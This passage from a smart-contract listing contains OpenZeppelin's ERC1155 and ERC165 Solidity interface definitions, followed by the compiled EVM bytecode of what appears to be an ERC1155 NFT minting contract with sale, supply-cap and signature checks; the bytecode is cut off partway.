previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101c15760003560e01c80636c19e783116100f7578063c002d23d11610095578063f242432a11610064578063f242432a146105cb578063f2fde38b146105f4578063fa30297e1461061d578063fb3cc6c21461065a576101c1565b8063c002d23d14610535578063d111515d14610560578063de8b51e114610577578063e985e9c51461058e576101c1565b80638da5cb5b116100d15780638da5cb5b1461048d578063a22cb465146104b8578063a49a1e7d146104e1578063aa592f251461050a576101c1565b80636c19e78314610422578063715018a61461044b57806389a8900214610462576101c1565b80632eb2c2d6116101645780633ccfd60b1161013e5780633ccfd60b146103785780634e1273f41461038f5780635e84d723146103cc57806368428a1b146103f7576101c1565b80632eb2c2d61461030857806331ae0aba1461033157806333039d3d1461034d576101c1565b806318160ddd116101a057806318160ddd1461027d578063238ac933146102a857806326092b83146102d35780632a47f799146102dd576101c1565b8062fdd58e146101c657806301ffc9a7146102035780630e89341c14610240575b600080fd5b3480156101d257600080fd5b506101ed60048036038101906101e89190612ab9565b610685565b6040516101fa9190612b08565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612b7b565b61074e565b6040516102379190612bc3565b60405180910390f35b34801561024c57600080fd5b5061026760048036038101906102629190612bde565b610830565b6040516102749190612ca4565b60405180910390f35b34801561028957600080fd5b506102926108c4565b60405161029f9190612b08565b60405180910390f35b3480156102b457600080fd5b506102bd6108ca565b6040516102ca9190612cd5565b60405180910390f35b6102db6108f0565b005b3480156102e957600080fd5b506102f2610a14565b6040516102ff9190612b08565b60405180910390f35b34801561031457600080fd5b5061032f600480360381019061032a9190612eed565b610a1a565b005b61034b60048036038101906103469190612fbc565b610abb565b005b34801561035957600080fd5b50610362610bf8565b60405161036f9190612b08565b60405180910390f35b34801561038457600080fd5b5061038d610bfe565b005b34801561039b57600080fd5b506103b660048036038101906103b191906130c8565b610c8d565b6040516103c391906131fe565b60405180910390f35b3480156103d857600080fd5b506103e1610da6565b6040516103ee9190612b08565b60405180910390f35b34801561040357600080fd5b5061040c610dac565b6040516104199190612bc3565b60405180910390f35b34801561042e57600080fd5b5061044960048036038101906104449190613220565b610dbf565b005b34801561045757600080fd5b50610460610e7f565b005b34801561046e57600080fd5b50610477610f07565b6040516104849190612b08565b60405180910390f35b34801561049957600080fd5b506104a2610f0c565b6040516104af9190612cd5565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da9190613279565b610f36565b005b3480156104ed57600080fd5b506105086004803603810190610503919061335a565b610f4c565b005b34801561051657600080fd5b5061051f611024565b60405161052c9190612b08565b60405180910390f35b34801561054157600080fd5b5061054a61102a565b6040516105579190612b08565b60405180910390f35b34801561056c57600080fd5b50610575611036565b005b34801561058357600080fd5b5061058c6110cf565b005b34801561059a57600080fd5b506105b560048036038101906105b091906133a3565b611177565b6040516105c29190612bc3565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed91906133e3565b61120b565b005b34801561060057600080fd5b5061061b60048036038101906106169190613220565b6112ac565b005b34801561062957600080fd5b50610644600480360381019061063f9190613220565b6113a4565b6040516106519190612bc3565b60405180910390f35b34801561066657600080fd5b5061066f6113c4565b60405161067c9190612bc3565b60405180910390f35b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ed906134ec565b60405180910390fd5b60008083815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007fd9b67a26000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061081957507f0e89341c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806108295750610828826113fa565b5b9050919050565b60606002805461083f9061353b565b80601f016020809104026020016040519081016040528092919081815260200182805461086b9061353b565b80156108b85780601f1061088d576101008083540402835291602001916108b8565b820191906000526020600020905b81548152906001019060200180831161089b57829003601f168201915b50505050509050919050565b60055481565b600760029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026004541415610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d906135b9565b60405180910390fd5b6002600481905550600760019054906101000a900460ff1661098d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098490613625565b60405180910390fd5b6101f4600160065461099f9190613674565b11156109e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d79061373c565b60405180910390fd5b6109f06109eb611464565b61146c565b600160066000828254610a039190613674565b925050819055506001600481905550565b6101f481565b610a22611464565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610a685750610a6785610a62611464565b611177565b5b610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e906137ce565b60405180910390fd5b610ab48585858585611696565b5050505050565b60026004541415610b01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af8906135b9565b60405180910390fd5b60026004819055506000610b4a610b44610b19611464565b604051602001610b299190613836565b604051602081830303815290604052805190602001206119aa565b836119da565b90508073ffffffffffffffffffffffffffffffffffffffff16600760029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd39061389d565b60405180910390fd5b610bec610be7611464565b61146c565b50600160048190555050565b6107d081565b610c06611464565b73ffffffffffffffffffffffffffffffffffffffff16610c24610f0c565b73ffffffffffffffffffffffffffffffffffffffff1614610c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7190613909565b60405180910390fd5b610c8b610c85611464565b47611a01565b565b60608151835114610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca9061399b565b60405180910390fd5b6000835167ffffffffffffffff811115610cf057610cef612cf5565b5b604051908082528060200260200182016040528015610d1e5781602001602082028036833780820191505090505b50905060005b8451811015610d9b57610d6b858281518110610d4357610d426139bb565b5b6020026020010151858381518110610d5e57610d5d6139bb565b5b6020026020010151610685565b828281518110610d7e57610d7d6139bb565b5b60200260200101818152505080610d94906139ea565b9050610d24565b508091505092915050565b60065481565b600760019054906101000a900460ff1681565b610dc7611464565b73ffffffffffffffffffffffffffffffffffffffff16610de5610f0c565b73ffffffffffffffffffffffffffffffffffffffff1614610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3290613909565b60405180910390fd5b80600760026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610e87611464565b73ffffffffffffffffffffffffffffffffffffffff16610ea5610f0c565b73ffffffffffffffffffffffffffffffffffffffff1614610efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef290613909565b60405180910390fd5b610f056000611af5565b565b600081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f48610f41611464565b8383611bbb565b5050565b610f54611464565b73ffffffffffffffffffffffffffffffffffffffff16610f72610f0c565b73ffffffffffffffffffffffffffffffffffffffff1614610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf90613909565b60405180910390fd5b600760009054906101000a900460ff1615611018576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100f90613a7f565b60405180910390fd5b61102181611d28565b50565b6101f481565b6704a01e9587a3400081565b61103e611464565b73ffffffffffffffffffffffffffffffffffffffff1661105c610f0c565b73ffffffffffffffffffffffffffffffffffffffff16146110b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a990613909565b60405180910390fd5b6001600760006101000a81548160ff021916908315150217905550565b6110d7611464565b73ffffffffffffffffffffffffffffffffffffffff166110f5610f0c565b73ffffffffffffffffffffffffffffffffffffffff161461114b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114290613909565b60405180910390fd5b600760019054906101000a900460ff1615600760016101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611213611464565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480611259575061125885611253611464565b611177565b5b611298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128f90613b11565b60405180910390fd5b6112a58585858585611d42565b5050505050565b6112b4611464565b73ffffffffffffffffffffffffffffffffffffffff166112d2610f0c565b73ffffffffffffffffffffffffffffffffffffffff1614611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90613909565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f90613ba3565b60405180910390fd5b6113a181611af5565b50565b60086020528060005260406000206000915054906101000a900460ff1681565b600760009054906101000a900460ff1681565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b3273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146114da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d190613c0f565b60405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155e90613c7b565b60405180910390fd5b6704a01e9587a3400034146115b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a890613ce7565b60405180910390fd5b6107d060016005546115c39190613674565b1115611604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fb90613d53565b60405180910390fd5b611621816000600160405180602001604052806000815250611fc4565b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016005600082825461168c9190613674565b9250508190555050565b81518351146116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d190613de5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561174a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174190613e77565b60405180910390fd5b6000611754611464565b905061176481878787878761215a565b60005b8451811015611915576000858281518110611785576117846139bb565b5b6020026020010151905060008583815181106117a4576117a36139bb565b5b60200260200101519050600080600084815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611845576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183c90613f09565b60405180910390fd5b81810360008085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160008085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118fa9190613674565b925050819055505050508061190e906139ea565b9050611767565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb878760405161198c929190613f29565b60405180910390a46119a2818787878787612162565b505050505050565b6000816040516020016119bd9190613fe2565b604051602081830303815290604052805190602001209050919050565b60008060006119e98585612349565b915091506119f6816123cc565b819250505092915050565b80471015611a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3b90614054565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051611a6a906140a5565b60006040518083038185875af1925050503d8060008114611aa7576040519150601f19603f3d011682016040523d82523d6000602084013e611aac565b606091505b5050905080611af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae79061412c565b60405180910390fd5b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c21906141be565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611d1b9190612bc3565b60405180910390a3505050565b8060029080519060200190611d3e92919061296e565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da990613e77565b60405180910390fd5b6000611dbc611464565b9050611ddc818787611dcd886125a1565b611dd6886125a1565b8761215a565b600080600086815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015611e73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6a90613f09565b60405180910390fd5b83810360008087815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508360008087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f289190613674565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628888604051611fa59291906141de565b60405180910390a4611fbb82888888888861261b565b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202b90614279565b60405180910390fd5b600061203e611464565b905061205f81600087612050886125a1565b612059886125a1565b8761215a565b8260008086815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120be9190613674565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62878760405161213c9291906141de565b60405180910390a46121538160008787878761261b565b5050505050565b505050505050565b6121818473ffffffffffffffffffffffffffffffffffffffff166113d7565b15612341578373ffffffffffffffffffffffffffffffffffffffff1663bc197c8187878686866040518663ffffffff1660e01b81526004016121c79594939291906142ee565b602060405180830381600087803b1580156121e157600080fd5b505af192505050801561221257506040513d601f19601f8201168201806040525081019061220f919061436b565b60015b6122b85761221e6143a5565b806308c379a0141561227b57506122336143c7565b8061223e575061227d565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122729190612ca4565b60405180910390fd5b505b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122af906144cf565b60405180910390fd5b63bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161461233f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233690614561565b60405180910390fd5b505b505050505050565b60008060418351141561238b5760008060006020860151925060408601519150606086015160001a905061237f87828585612802565b945094505050506123c5565b6040835114156123bc5760008060208501519150604085015190506123b186838361290f565b9350935050506123c5565b60006002915091505b9250929050565b600060048111156123e0576123df614581565b5b8160048111156123f3576123f2614581565b5b14156123fe5761259e565b6001600481111561241257612411614581565b5b81600481111561242557612424614581565b5b1415612466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245d906145fc565b60405180910390fd5b6002600481111561247a57612479614581565b5b81600481111561248d5761248c614581565b5b14156124ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c590614668565b60405180910390fd5b600360048111156124e2576124e1614581565b5b8160048111156124f5576124f4614581565b5b1415612536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252d906146fa565b60405180910390fd5b60048081111561254957612548614581565b5b81600481111561255c5761255b614581565b5b141561259d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125949061478c565b60405180910390fd5b5b50565b60606000600167ffffffffffffffff8111156125c0576125bf612cf5565b5b6040519080825280602002602001820160405280156125ee5781602001602082028036833780820191505090505b5090508281600081518110612606576126056139bb565b5b60200260200101818152505080915050919050565b61263a8473ffffffffffffffffffffffffffffffffffffffff166113d7565b156127fa578373ffffffffffffffffffffffffffffffffffffffff1663f23a6e6187878686866040518663ffffffff1660e01b81526004016126809594939291906147ac565b602060405180830381600087803b15801561269a57600080fd5b505af19250505080156126cb57506040513d601f19601f820116820180604052508101906126c8919061436b565b60015b612771576126d76143a5565b806308c379a0141561273457506126ec6143c7565b806126f75750612736565b806040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272b9190612ca4565b60405180910390fd5b505b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612768906144cf565b60405180910390fd5b63f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916146127f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ef90614561565b60405180910390fd5b505b505050505050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08360001c111561283d576000600391509150612906565b601b8560ff16141580156128555750601c8560ff1614155b15612867576000600491509150612906565b60006001878787876040516000815260200160405260405161288c9493929190614831565b6020604051602081039080840390855afa1580156128ae573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156128fd57600060019250925050612906565b80600092509250505b94509492505050565b60008060007f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60001b841690506000601b60ff8660001c901c6129529190613674565b905061296087828885612802565b935093505050935093915050565b82805461297a9061353b565b90600052602060002090601f01602090048101928261299c57600085556129e3565b82601f106129b557805160ff19168380011785556129e3565b828001600101855582156129e3579182015b828111156129e25782518255916020019190600101906129c7565b5b5090506129f091906129f4565b5090565b5b80821115612a0d5760008160009055506001016129f5565b5090565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a5082612a25565b9050919050565b612a6081612a45565b8114612a6b57600080fd5b50565b600081359050612a7d81612a57565b92915050565b6000819050919050565b612a9681612a83565b8114612aa157600080fd5b50565b600081359050612ab381612a8d565b92915050565b60008060408385031215612ad057612acf612a1b565b5b6000612ade85828601612a6e565b9250506020612aef85828601612aa4565b9150509250929050565b612b0281612a83565b82525050565b6000602082019050612b1d6000830184612af9565b92915050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b612b5881612b23565b8114612b6357600080fd5b50565b600081359050612b7581612b4f565b92915050565b600060208284031215612b9157612b90612a1b565b5b6000612b9f84828501612b66565b91505092915050565b60008115159050919050565b612bbd81612ba8565b82525050565b6000602082019050612bd86000830184612bb4565b92915050565b600060208284031215612bf457612bf3612a1b565b5b6000612c0284828501612aa4565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c45578082015181840152602081019050612c2a565b83811115612c54576000848401525b50505050565b6000601f19601f8301169050919050565b6000612c7682612c0b565b612c808185612c16565b9350612c90818560208601612c27565b612c9981612c5a565b840191505092915050565b60006020820190508181036000830152612cbe8184612c6b565b905092915050565b612ccf81612a45565b82525050565b6000602082019050612cea6000830184612cc6565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d2d82612c5a565b810181811067ffffffffffffffff82111715612d4c57612d4b612cf5565b5b80604052505050565b6000612d5f612a11565b9050612d6b8282612d24565b919050565b600067ffffffffffffffff821115612d8b57612d8a612cf5565b5b602082029050602081019050919050565b600080fd5b6000612db4612daf84612d70565b612d55565b90508083825260208201905060208402830185811115612dd757612dd6612d9c565b5b835b81811015612e005780612dec8882612aa4565b845260208401935050602081019050612dd9565b5050509392505050565b600082601f830112612e1f57612e1e612cf0565b5b8135612e2f848260208601612da1565b91505092915050565b600080fd5b600067ffffffffffffffff821115612e5857612e57612cf5565b5b612e6182612c5a565b9050602081019050919050565b82818337600083830152505050565b6000612e90612e8b84612e3d565b612d55565b905082815260208101848484011115612eac57612eab612e38565b5b612eb7848285612e6e565b509392505050565b600082601f830112612ed457612ed3612cf0565b5b8135612ee4848260208601612e7d565b91505092915050565b600080600080600060a08688031215612f0957612f08612a1b565b5b6000612f1788828901612a6e565b9550506020612f2888828901612a6e565b945050604086013567ffffffffffffffff811115612f4957612f48612a20565b5b612f5588828901612e0a565b935050606086013567ffffffffffffffff811115612f7657612f75612a20565b5b612f8288828901612e0a565b925050608086013567ffffffffffffffff811115612fa357612fa2612a20565b5b612faf88828901612ebf565b9150509295509295909350565b600060208284031215612fd257612fd1612a1b565b5b600082013567ffffffffffffffff811115612ff057612fef612a20565b5b612ffc84828501612ebf565b91505092915050565b600067ffffffffffffffff8211156130205761301f612cf5565b5b602082029050602081019050919050565b600061304461303f84613005565b612d55565b9050808382526020820190506020840283018581111561306757613066612d9c565b5b835b81811015613090578061307c8882612a6e565b845260208401935050602081019050613069565b5050509392505050565b600082601f8301126130af576130ae612cf0565b5b81356130bf848260208601613031565b91505092915050565b600080604083850312156130df576130de612a1b565b5b600083013567ffffffffffffffff8111156130fd576130fc612a20565b5b6131098582860161309a565b925050602083013567ffffffffffffffff81111561312a57613129612a20565b5b61313685828601612e0a565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61317581612a83565b82525050565b6000613187838361316c565b60208301905092915050565b6000602082019050919050565b60006131ab82613140565b6131b5818561314b565b93506131c08361315c565b8060005b838110156131f15781516131d8888261317b565b97506131e383613193565b9250506001810190506131c4565b5085935050505092915050565b6000602082019050818103600083015261321881846131a0565b905092915050565b60006020828403121561323657613235612a1b565b5b600061324484828501612a6e565b91505092915050565b61325681612ba8565b811461326157600080fd5b50565b6000813590506132738161324d565b92915050565b600080604083850312156132905761328f612a1b565b5b600061329e85828601612a6e565b92505060206132af85828601613264565b9150509250929050565b600067ffffffffffffffff8211156132d4576132d3612cf5565b5b6132dd82612c5a565b9050602081019050919050565b60006132fd6132f8846132b9565b612d55565b90508281526020810184848401111561331957613318612e38565b5b613324848285612e6e565b509392505050565b600082601f83011261334157613340612cf0565b5b81356133518482602086016132ea565b91505092915050565b6000602082840312156133705761336f612a1b565b5b600082013567ffffffffffffffff81111561338e5761338d612a20565b5b61339a8482850161332c565b91505092915050565b600080604083850312156133ba576133b9612a1b565b5b60006133c885828601612a6e565b92505060206133d985828601612a6e565b9150509250929050565b600080600080600060a086880312156133ff576133fe612a1b565b5b600061340d88828901612a6e565b955050602061341e88828901612a6e565b945050604061342f88828901612aa4565b935050606061344088828901612aa4565b925050608086013567ffffffffffffffff81111561346157613460612a20565b5b61346d88828901612ebf565b9150509295509295909350565b7f455243313135353a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b60006134d6602b83612c16565b91506134e18261347a565b604082019050919050565b60006020820190508181036000830152613505816134c9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061355357607f821691505b602082108114156135675761356661350c565b5b50919050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b60006135a3601f83612c16565b91506135ae8261356d565b602082019050919050565b600060208201905081810360008301526135d281613596565b9050919050565b7f53616c65206973206e6f74206163746976650000000000000000000000000000600082015250565b600061360f601283612c16565b915061361a826135d9565b602082019050919050565b6000602082019050818103600083015261363e81613602565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061367f82612a83565b915061368a83612a83565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136bf576136be613645565b5b828201905092915050565b7f45786365656473206d6178696d756d206e756d626572206f66207075626c696360008201527f20746f6b656e7300000000000000000000000000000000000000000000000000602082015250565b6000613726602783612c16565b9150613731826136ca565b604082019050919050565b6000602082019050818103600083015261375581613719565b9050919050565b7f455243313135353a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b60006137b8603283612c16565b91506137c38261375c565b604082019050919050565b600060208201905081810360008301526137e7816137ab565b9050919050565b60008160601b9050919050565b6000613806826137ee565b9050919050565b6000613818826137fb565b9050919050565b61383061382b82612a45565b61380d565b82525050565b6000613842828461381f565b60148201915081905092915050565b7f496e76616c6964207369676e6174757265000000000000000000000000000000600082015250565b6000613887601183612c16565b915061389282613851565b602082019050919050565b600060208201905081810360008301526138b68161387a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138f3602083612c16565b91506138fe826138bd565b602082019050919050565b60006020820190508181036000830152613922816138e6565b9050919050565b7f455243313135353a206163636f756e747320616e6420696473206c656e67746860008201527f206d69736d617463680000000000000000000000000000000000000000000000602082015250565b6000613985602983612c16565b915061399082613929565b604082019050919050565b6000602082019